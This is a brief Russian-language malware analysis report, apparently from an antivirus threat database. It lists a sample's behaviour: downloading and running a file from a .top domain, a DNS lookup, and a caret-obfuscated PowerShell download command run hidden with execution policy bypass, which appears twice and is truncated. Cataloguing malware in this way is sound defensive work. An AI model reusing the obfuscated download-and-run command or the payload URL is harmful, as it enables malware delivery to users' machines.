Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fopeioaas.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^W^ErsHE^LL^.eX^e -^E^xE^cUTIOn^POL^Ic^y bYp^A^S^s ^-NO^pr^oFi^LE^ -^w^I^n^do^WsT^y^LE h^IDDEN (N^eW-o^bJEcT^ ^sY^s^TEM.^NE^t^.^WebcLi^enT)^.^dOw^N^l^o^adfILE('http://www...
Сетевая активность
UDP
- DNS ASK fo###oaas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^W^ErsHE^LL^.eX^e -^E^xE^cUTIOn^POL^Ic^y bYp^A^S^s ^-NO^pr^oFi^LE^ -^w^I^n^do^WsT^y^LE h^IDDEN (N^eW-o^bJEcT^ ^sY^s^TEM.^NE^t^.^WebcLi^enT)^.^dOw^N^l^o^adfILE('http://www...' (со скрытым окном)
